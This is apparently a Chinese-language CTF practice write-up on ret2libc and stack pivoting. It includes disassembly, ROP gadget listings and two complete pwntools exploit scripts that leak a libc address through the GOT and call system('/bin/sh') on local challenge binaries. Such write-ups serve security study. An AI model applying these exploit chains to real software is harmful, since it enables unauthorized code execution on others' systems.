RET2libc 一般情况下,一个程序不会有system(“bin/sh”)这种危险代码让我们直接getshell。
ret2libc是一种方法,让我们取得外部动态链接库(so)的基地址,并通过基地址加偏移的方式获得目标库函数的地址,从而在程序没有主动调用目标函数时修改ret地址返回到我们想要的库函数地址。
练习题:
打开先checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
有部分RELRO和NX保护
vuln函数中
1 2 3 4 5 6 7 __int64 vuln () { char v1[112 ]; puts ("RET2LIBC >_<" ); return gets(v1); }
进行了一次输出,一次输入,输入长度为112,很明显可以覆盖地址
程序没有bin/sh字符串和system地址,所以只能自己泄漏出来
got表会先按执行顺序生成地址,所以先进入main后一定会先生成__libc_start_main函数。通过这个得到libc基地址然后加对应偏移得到system和bin/sh地址,最后构造rop链去执行函数
顺序:
vuln–>puts–>system
现在还有一个问题,我们控制的地址只是栈,但是puts函数的传参却在寄存器里面,该如何把栈中的值放到寄存器里呢,很明显,pop指令
可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:00000000004011E8 ; __unwind { .text:00000000004011E8 000 endbr64 .text:00000000004011EC 000 push rbp .text:00000000004011ED 008 mov rbp, rsp .text:00000000004011F0 008 sub rsp, 70h .text:00000000004011F4 078 lea rax, s ; "RET2LIBC >_<" .text:00000000004011FB 078 mov rdi, rax ; s .text:00000000004011FE 078 call _puts .text:0000000000401203 078 lea rax, [rbp+var_70] .text:0000000000401207 078 mov rdi, rax .text:000000000040120A 078 mov eax, 0 .text:000000000040120F 078 call _gets .text:0000000000401214 078 nop .text:0000000000401215 078 leave .text:0000000000401216 000 retn .text:0000000000401216 ; } // starts at 4011E8 .text:0000000000401216 vuln endp
这里传给puts的值是rdi
1 2 3 4 5 6 7 8 ROPgadget --binary ret2libc --only 'pop|ret' Gadgets information ============================================================ 0x000000000040115d : pop rbp ; ret 0x00000000004011e3 : pop rdi ; ret 0x000000000040101a : ret Unique gadgets found: 3
用gadget看看,发现0x00000000004011e3 : pop rdi ; ret 如果先返回这个地址,就可以把写入栈的泄露地址给rdi,然后执行后面的操作
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import LibcSearchere = ELF("./ret2libc" ) libc_start_main_got = e.got['__libc_start_main' ] p = process('./ret2libc' ) p.recvuntil(b'RET2LIBC >_<' ) payload1 = 0x78 *b'a' +p64(0x00000000004011e3 )+p64(libc_start_main_got)+p64(0x401060 )+p64(0x401090 ) p.sendline(payload1) p.recvuntil(b'\n' ) libc_main_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (libc_main_addr))libc = LibcSearcher('__libc_start_main' ,libc_main_addr) libcbase = libc_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) puts_addr = libcbase + libc.dump('puts' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = 0x78 *b'a' +p64(0x000000000040101a )+p64(0x00000000004011e3 )+p64(binsh_addr)+p64(system_addr) p.recvuntil(b'RET2LIBC >_<' ) p.sendline(payload2) p.interactive()
栈迁移 打开task题目
1 2 3 4 5 6 7 ssize_t vuln () { char buf[64 ]; puts ("Do you know Stack_Pivoting?" ); return read(0 , buf, 0x50 uLL); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text:0000000000401221 main proc near ; DATA XREF: _start+18 ↑o .text:0000000000401221 ; __unwind { .text:0000000000401221 000 endbr64 .text:0000000000401225 000 push rbp .text:0000000000401226 008 mov rbp, rsp .text:0000000000401229 008 mov eax, 0 .text:000000000040122 E 008 call init .text:0000000000401233 008 mov eax, 0 .text:0000000000401238 008 call vuln .text:000000000040123 D 008 mov eax, 0 .text:0000000000401242 008 pop rbp .text:0000000000401243 000 retn .text:0000000000401243 ; } .text:0000000000401243 main endp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:00000000004011 DB ; void gadget () .text:00000000004011DB public gadget .text:00000000004011DB gadget proc near .text:00000000004011DB ; __unwind { .text:00000000004011 DB 000 endbr64 .text:00000000004011 DF 000 push rbp .text:00000000004011E0 008 mov rbp, rsp .text:00000000004011E3 008 pop rdi .text:00000000004011E4 000 retn .text:00000000004011E4 gadget endp .text:00000000004011E4 .text:00000000004011E4 ; --------------------------------------------------------------------------- .text:00000000004011E5 align 2 .text:00000000004011E6 pop rbp .text:00000000004011E7 retn .text:00000000004011E7 ; }
依然没有bin/sh和system,所以依然需要ret2libc
但是观察read函数可以发现,可以写入0x50,数组长度0x40,所以只能写入2个地址去覆盖,这里很明显是不够的, 然后看看有没有可能修改0x50这个数,发现没有
1 2 3 4 5 6 ROPgadget --binary stack_pivoting --only 'pop|ret' Gadgets information ============================================================ 0x000000000040115d : pop rbp ; ret 0x00000000004011e3 : pop rdi ; ret 0x000000000040101a : ret
如果按上一个题(ret2libc)两次分别需要写入:
pop_rdi+libc地址+puts地址+start地址 pop_rdi+bin/sh地址+system地址
对于16字节,还是不够的,所以不妨换个思路,如果写入的内容区域不能改变,那要是可以改变rsp指针也可以,如果算上所有的空间,有0x50个,这样就够了,只要想办法把rsp放到这个空间开头就好了
能修改rsp的指令是leave 效果是:mov rsp,rbp;pop rbp
但是这个指令只能使得rsp指向rbp指向的地址,因此,在栈迁移中,rbp就类似一个引子,通过修改rbp的值间接修改rsp的值。每次leave之后,都会pop rbp,一定注意这里pop出的地址就是rsp下次的地址。对于这个题,每次可写的区域是rbp之上的内容(rbp-0x40)和rbp下次的地址和ret地址
如果这样写入,会直接跳过rop链(因为read之后直接leave了)然后rsp就到下面了,这样无法实现执行的效果,但是每次read之后必然是ret,所以这时需要一个方法把rsp放到上面去
刚刚说了,rbp是rsp的因子,想要修改rsp必须先修改rbp,然后再leave,因此可以通过先把rbp放到链首然后再leave的方式修改rsp的值
执行leave_ret之后
leave_ret还有一个ret,可以直接触发rop链
那么,流程是这样的:
栈迁移+触发第一次的rop链+栈迁移+触发第二次rop
注意:在system函数中rsp值会减0x338,要留够空间,实际给了0x800。read函数读取值时参数在栈上,不能被覆盖,所以第一次给值后需要把下次的rbp放到更后面的位置(值更大)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *from LibcSearcher import LibcSearchername = "./stack_pivoting" new_rbp = 0x4040A0 +0x800 e = ELF(name) pPop_rdi = p64(0x4011E3 ) pStart = p64(e.symbols['_start' ]) pRet = p64(0x4011E4 ) pLeave_ret = p64(0x40121F ) pDataBef = p64(new_rbp-0x40 ) pData = p64(new_rbp) pDataNext = p64(new_rbp+0x40 ) pReadbuf = p64(0x401203 ) pPuts = p64(0x401064 ) libc_start_main_got = e.got['__libc_start_main' ] p = process(name) p.recvuntil(b'Do you know Stack_Pivoting?' ) def sendRop1 (p,rop ): if len (rop)!=0x38 : print ("len_not_right" ) exit() rop = pDataNext + rop + pDataBef + pLeave_ret p.send(rop) def sendRop2 (p,rop ): if len (rop)!=0x38 : print ("len_not_right" ) exit() rop = pDataNext + rop + pData + pLeave_ret p.send(rop) payload1 = cyclic(0x40 )+pData+pReadbuf p.send(payload1) payload2 = pPop_rdi+p64(libc_start_main_got)+pPuts+pRet+pReadbuf+cyclic(0x10 ) sendRop1(p,payload2) p.recvuntil(b'\n' ) libc_main_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (libc_main_addr))libc = LibcSearcher('__libc_start_main' ,libc_main_addr) libcbase = libc_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) puts_addr = libcbase + libc.dump('puts' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) payload3 = pPop_rdi + p64(binsh_addr) +pRet+p64(system_addr)+cyclic(0x18 ) sendRop2(p,payload3) p.interactive()